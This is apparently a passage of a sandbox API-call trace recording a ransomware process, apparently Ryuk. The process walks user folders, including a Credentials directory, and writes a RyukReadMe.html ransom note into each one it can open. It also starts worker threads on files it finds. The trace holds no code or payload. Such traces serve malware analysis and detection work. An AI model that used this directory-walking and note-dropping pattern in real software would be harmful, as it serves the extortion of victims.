	[0256.811] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45c34df0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45c34df0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e2, dwReserved1=0x0, cFileName="MSHist012017071220170713", cAlternateFileName="MSHIST~1")) returned 1
	[0256.811] SetLastError (dwErrCode=0x0) 
	[0256.811] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\low\\history.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e4
	[0258.036] GetLastError () returned 0x0
	[0258.036] WriteFile (in: hFile=0x6e4, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18c568*=0x273, lpOverlapped=0x0) returned 1
	[0258.037] CloseHandle (hObject=0x6e4) returned 1
	[0258.037] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\MSHist012017071220170713\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1fa, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="", cAlternateFileName="cation Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Applica杄眙")) returned 0xffffffffffffffff
	[0258.038] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0258.038] SetLastError (dwErrCode=0x0) 
	[0258.038] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\MSHist012017071220170713\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\low\\history.ie5\\mshist012017071220170713\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.038] GetLastError () returned 0x3
	[0258.038] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0258.038] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.038] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45c34df0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45c34df0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e2, dwReserved1=0x0, cFileName="MSHist012017071220170713", cAlternateFileName="MSHIST~1")) returned 0
	[0258.038] FindClose (in: hFindFile=0x3efb50 | out: hFindFile=0x3efb50) returned 1
	[0258.038] SetLastError (dwErrCode=0x0) 
	[0258.038] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\low\\history.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f8
	[0258.039] GetLastError () returned 0xb7
	[0258.039] CloseHandle (hObject=0x6f8) returned 1
	[0258.039] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x776938c0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x776938c0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x776938c0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1da, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0258.039] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x776938c0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x776938c0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x776938c0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1da, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0258.039] FindClose (in: hFindFile=0x3ef910 | out: hFindFile=0x3ef910) returned 1
	[0258.039] SetLastError (dwErrCode=0x0) 
	[0258.039] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\low\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d4
	[0258.039] GetLastError () returned 0xb7
	[0258.039] CloseHandle (hObject=0x6d4) returned 1
	[0258.040] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7766d760, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x7766d760, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7766d760, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0258.040] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7766d760, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x7766d760, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7766d760, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0258.040] FindClose (in: hFindFile=0x3ef9d0 | out: hFindFile=0x3ef9d0) returned 1
	[0258.040] SetLastError (dwErrCode=0x0) 
	[0258.040] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5ec
	[0258.040] GetLastError () returned 0xb7
	[0258.040] CloseHandle (hObject=0x5ec) returned 1
	[0258.040] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2b9fc540, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x126775, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IconCache.db", cAlternateFileName="ICONCA~1.DB")) returned 1
	[0258.040] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0258.448] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5ec
	[0258.450] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.451] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x962f4540, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x962f4540, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1
	[0258.451] SetLastError (dwErrCode=0x0) 
	[0258.451] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d4
	[0258.452] GetLastError () returned 0xb7
	[0258.452] CloseHandle (hObject=0x6d4) returned 1
	[0258.453] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\*.*", lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x776b9a20, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x776b9a20, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef9d0
	[0258.454] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x776b9a20, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x776b9a20, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0258.454] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Credentials", cAlternateFileName="CREDEN~1")) returned 1
	[0258.454] SetLastError (dwErrCode=0x0) 
	[0258.454] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f8
	[0258.454] GetLastError () returned 0xb7
	[0258.454] CloseHandle (hObject=0x6f8) returned 1
	[0258.455] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Credentials\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef910
	[0258.455] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0258.455] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0258.455] FindClose (in: hFindFile=0x3ef910 | out: hFindFile=0x3ef910) returned 1
	[0258.455] SetLastError (dwErrCode=0x0) 
	[0258.455] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Credentials\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\credentials\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f8
	[0258.457] GetLastError () returned 0x0
	[0258.457] WriteFile (in: hFile=0x6f8, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18d3c8, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18d3c8*=0x273, lpOverlapped=0x0) returned 1
	[0258.459] CloseHandle (hObject=0x6f8) returned 1
	[0258.460] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x32121370, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x32121370, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x32121370, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Event Viewer", cAlternateFileName="EVENTV~1")) returned 1
	[0258.460] SetLastError (dwErrCode=0x0) 
	[0258.460] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f8
	[0258.460] GetLastError () returned 0xb7
	[0258.460] CloseHandle (hObject=0x6f8) returned 1
	[0258.460] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Event Viewer\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x32121370, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x32121370, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x32121370, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef910
	[0258.461] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x32121370, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x32121370, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x32121370, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0258.461] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x32121370, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x32121370, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x32121370, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0258.461] FindClose (in: hFindFile=0x3ef910 | out: hFindFile=0x3ef910) returned 1
	[0258.461] SetLastError (dwErrCode=0x0) 
	[0258.461] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Event Viewer\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\event viewer\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f8
	[0258.462] GetLastError () returned 0x0
	[0258.462] WriteFile (in: hFile=0x6f8, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18d3c8, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18d3c8*=0x273, lpOverlapped=0x0) returned 1
	[0258.464] CloseHandle (hObject=0x6f8) returned 1
	[0258.464] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Feeds", cAlternateFileName="")) returned 1
	[0258.464] SetLastError (dwErrCode=0x0) 
	[0258.464] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f8
	[0258.464] GetLastError () returned 0xb7
	[0258.464] CloseHandle (hObject=0x6f8) returned 1
	[0258.464] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef910
	[0258.466] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0258.467] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x6e0227e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x1de, dwReserved1=0x0, cFileName="FeedsStore.feedsdb-ms", cAlternateFileName="FEEDSS~1.FEE")) returned 1
	[0258.467] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0258.467] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6e4
	[0258.469] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.469] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee3456d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="Microsoft Feeds~", cAlternateFileName="MICROS~1")) returned 1
	[0258.469] SetLastError (dwErrCode=0x0) 
	[0258.469] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f0
	[0258.470] GetLastError () returned 0x0
	[0258.470] WriteFile (in: hFile=0x6f0, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18cc98*=0x273, lpOverlapped=0x0) returned 1
	[0258.472] CloseHandle (hObject=0x6f0) returned 1
